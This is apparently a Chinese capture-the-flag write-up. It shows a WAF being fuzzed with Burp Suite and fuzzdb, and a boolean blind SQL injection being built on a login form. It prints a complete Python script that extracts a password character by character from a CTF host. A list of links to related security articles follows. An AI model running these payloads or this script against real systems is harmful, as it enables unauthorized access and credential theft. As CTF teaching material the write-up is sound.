利用 Burpsuite Fuzz 实现 SQL 注入

0x01 注入前分析

是个典型的登录框SQL注入题

在源码上还有hint

首先进行注入前的尝试,观察是否有报错情况,或者是有waf:

正常的输入,分2种情况:

  1. 用户名正确,显示密码错误password error

  2. 用户名错误,显示无此用户no such user!

猜测验证用户名和验证密码是分步进行的,语句如下:

select uname from user where uname='xxx'select uname,pwd from user where uname='xxx' and pwd='xxx'

存在注入的情况,显示naive,证明是有waf的:

简单测试了一下waf,发现过滤了or and union select from limit 以及空格,注释符,妈耶waf还挺严,之后不想通过手动测试,于是采用burpsuite进行Fuzz测试。

0x02 Burpsuite Fuzzing

Burpsuite Fuzzing主要是通过Burpsuite Intruder模块,这好比是一把枪,通过特定设置把子弹(payload)射向目标(target-site)

可是子弹从哪来?我们在这之前要做一些准备工作:

Fuzzdb:  https://github.com/fuzzdb-pro...

这是一个fuzz测试的payload库,上面有大量的测试payload,非常实用,我们本次sql注入就用到它。

我们使用这个payload就可以了 /attack/sql-injection/detect/xplatform.txt

然后打开Burpsuite,可以先开代理抓一个正常请求包,然后转到Intruder模块,进行如下操作:

  1. 选中positions选项卡,选中uname的值部分admin,然后点击右侧的add§,这样uname的值就会被标记为payload的加载位置,其余部分就不需要标记了。

  2. 选中payloads选项卡,点击图中所示的按钮加载刚刚提到的xplatform.txt,这样payload就被加载进去了。

  3. 选中options选项卡,设置请求线程数、重试次数、超时时间等等信息,不一一列举了。

  4. 最后点击上方菜单Intruder -> Start attack ,启动!

等待fuzz完成后,得到如下结果:

根据返回包长度可以分辨不同的情况:202是password error,200是no such user!,还有189是naive

因此可以发现有可以利用的地方,第42个请求包的返回用户名正确,证明已经绕过waf。

假如并没有可以利用的payload,可以再观察189的包看看哪些字段是被ban掉的,从而找到可以利用的字段。结合前期手测的情况和fuzz的结果,可以判断:

可使用:# || && , ascii() left() right() length()

不可使用:空格 -- or and union select from limit mid() substr() substring()

构造payload如下,xxx为payload,当xxx为真时返回password error,而xxx为假时返回no such user,这就构成了一个bool型注入。

uname='||xxx||'&pwd=123

下一步就可以开始实施注入。

0x03 Blind Injection的自动化注入

这一步开始,我们就通过bool盲注进行爆破pwd字段,脚本跑起来

  1. 通过length()获得pwd字段长度

    最终获得length(pwd)=30

    当你把握不准的时候,想到hint的提示,通过 length(uname)=5验证你的payload,下面也一样。

    1. for i in xrange(1,127):
    2. postdata = {
    3. 'uname':''||length(pwd)='+str(i)+'||'',
    4. 'pwd':'123'
    5. }
    6. print i,postdata
    7. r = s.post(url=url,headers=header,data=postdata)
    8. if 'password' in r.text:
    9. print 'get length!'
    10. return
  2. 由于mid() substr()被ban了,只能通过left() right()进行字符串截断,然后逐位爆破30位的pwd

    最后得到30位密码,登录进去,getflag

    PS:没有写多线程,爆破速度比较慢,之后考虑改进一下

    PPS:之后还要总结下各类函数组合使用方式,比如mid()=substr()=right(left())

    完整脚本如下:

    1. #coding=utf-8
    2. import requests
    3. s = requests.session()
    4. s.keep_alive = False
    5. url = 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/'
    6. header = {
    7. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
    8. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    9. 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    10. 'Accept-Encoding': 'gzip, deflate',
    11. 'Referer': 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/',
    12. 'Content-Type': 'application/x-www-form-urlencoded'
    13. }
    14. def get_length():
    15. for i in xrange(1,127):
    16. postdata = {
    17. 'uname':''||length(pwd)='+str(i)+'||'',
    18. 'pwd':'123'
    19. }
    20. print i,postdata
    21. r = s.post(url=url,headers=header,data=postdata)
    22. if 'password' in r.text:
    23. print 'get length!'
    24. return
    25. def get_pwd_char():
    26. pwd = ''
    27. for i in xrange(0,30):
    28. for c in xrange(0x20,0x7f):
    29. postdata = {
    30. 'uname':''||(ascii(right(left(pwd,'+str(i+1)+'),1))='+str(c)+')||'',
    31. 'pwd':'123'
    32. }
    33. r = s.post(url=url,headers=header,data=postdata)
    34. if 'password' in r.text:
    35. pwd += chr(c)
    36. print i,pwd
    37. continue
    38. if __name__ == '__main__':
    39. get_length() #length is 30
    40. get_pwd_char()
    1. pwd = ''
    2. for i in xrange(0,30):
    3. for c in xrange(0x20,0x7f):
    4. postdata = {
    5. 'uname':''||(ascii(right(left(pwd,'+str(i+1)+'),1))='+str(c)+')||'',
    6. 'pwd':'123'
    7. }
    8. r = s.post(url=url,headers=header,data=postdata)
    9. if 'password' in r.text:
    10. pwd += chr(c)
    11. print i,pwd
    12. continue

0x04 总结一下

  • 利用burpsuite进行fuzz测试,大大提高了测试效率,也能快速定位注入点,这方面在平时的赛题也比较实用,关键就在于找到好用的fuzz payload。

  • 灵活使用各类sql函数,找到没有被ban的函数进行构造从而实现爆破,如果遇到其他类型waf还要进行改写。

据说bugkuCTF有类似的一道题 SQL注入2,过去比较一下区别

(0)

相关推荐

  • python处理excel

    一.安装 1:pandas依赖处理Excel的xlrd模块,安装命令是:pip install xlrd 2:安装pandas模块还需要一定的编码环境,所以我们自己在安装的时候,确保你的电脑有这些环境 ...

  • 记一次相对完整的渗透测试

    教育src 700rank了想着继续冲一波分,早日上核心,于是就有了下面这一次渗透测试的过程了. 开局一个登陆框,且存在密码找回功能. 归属为某教育局 开启burp 抓取登陆包,发现用户密码并未加密 ...

  • PHP伪协议的妙用

    filter协议的简单利用: php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用. 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile(). f ...

  • Python爬虫模拟登陆哔哩哔哩(bilibili)并突破点选验证码功能

    写在前面   今天带给大家一个突破点选验证码的案例,利用爬虫模拟登陆哔哩哔哩,并且把一些采坑的地方给大家强调一下! 一.需求分析   模拟登陆哔哩哔哩   网站链接: https://passport ...

  • SQL注入常规Fuzz全记录

    前言 本篇文章是在做ctf bugku的一道sql 盲注的题(题目地址:注入题目)中运用了fuzz的思路,完整记录整个fuzz的过程,给师傅们当点心,方便大家加深对web sql注入 fuzz的理解. ...

  • 利用Asp.net和Sql Server实现留言板功能

    本教程设及到:使用SQL Server查询分析器创建数据库:SQL查询语句常用的一些属性值:触发器创建和使用:存储过程的创建,ASP使用存储过程. 正文: 一.创建数据库: 创建一个feedback数 ...

  • Spring MVC防御CSRF、XSS和SQL注入攻击

    本文说一下SpringMVC如何防御CSRF(Cross-site request forgery跨站请求伪造)和XSS(Cross site script跨站脚本攻击). 说说CSRF 对CSRF来 ...

  • 彻底干掉恶心的 SQL 注入漏洞, 一网打尽!

    来源: b1ngz b1ngz.github.io/java-sql-injection-note/ 简介 文章主要内容包括: Java 持久层技术/框架简单介绍 不同场景/框架下易导致 SQL 注入 ...

  • 某学院系统sql注入到服务器沦陷(bypss)

    前言 前一段时间都在挖edu src,为了混几个证书,中间陆陆续续也挖到好几枚系统的通杀吧,不过资产都不多,都是黑盒测试出来的,没啥技术含量.只有这次挖到的这枚通杀稍微有那么一点点价值,从外网web一 ...

  • 渗透测试之SQL注入基础

    渗透测试之SQL注入基础 SQL注入类型 按照数据类型类型来分类 按照执行效果来分类(页面回显效果) 按照数据提交的方式来分类 判断注入类型的方法 MySQL注入基础 联合查询注入 布尔注入 时间盲注 ...

  • SQL注入实战篇

    今天要介绍的是SQL注入实验.SQL注入攻击的学习,我们更多的目的是为了学习攻击技术和防范策略,而不是刻意去攻击数据库. 首先我们先进入实验地址<SQL 注入>. SQL注入是一种代码注入 ...

  • 某团购CMS的SQL注入漏洞代码审计

    0x00 SQL注入漏洞: 简单介绍一下SQL语句:通俗来理解就是开发者盲目相信用户,没有严格检查用户输入,导致用户可以输入恶意参数进入程序逻辑,最终拼接恶意参数改变原本的SQL语句逻辑,造成SQL注 ...

  • 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudy System: Windo ...